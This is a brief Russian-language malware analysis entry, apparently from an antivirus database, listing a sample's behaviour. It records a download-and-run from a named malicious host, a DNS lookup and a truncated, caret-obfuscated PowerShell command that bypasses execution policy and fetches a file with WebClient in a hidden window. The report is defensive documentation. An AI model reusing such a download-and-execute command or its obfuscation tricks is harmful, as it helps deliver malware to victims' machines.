Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://folueopa.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOwERs^hell.eXe ^-e^X^EC^uTIoNp^OlIcY^ ^bYpaSS^ -n^oP^RofILe ^-wiNDowSTYl^e hI^Dd^en^ (NEW-^oB^j^eCT^ sY^S^t^e^m.^neT^.wE^Bcl^IE^N^T).d^own^lo^Ad^fi^L^e('http://folueo...
Сетевая активность
UDP
- DNS ASK fo###opa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOwERs^hell.eXe ^-e^X^EC^uTIoNp^OlIcY^ ^bYpaSS^ -n^oP^RofILe ^-wiNDowSTYl^e hI^Dd^en^ (NEW-^oB^j^eCT^ sY^S^t^e^m.^neT^.wE^Bcl^IE^N^T).d^own^lo^Ad^fi^L^e('http://folueo...' (со скрытым окном)
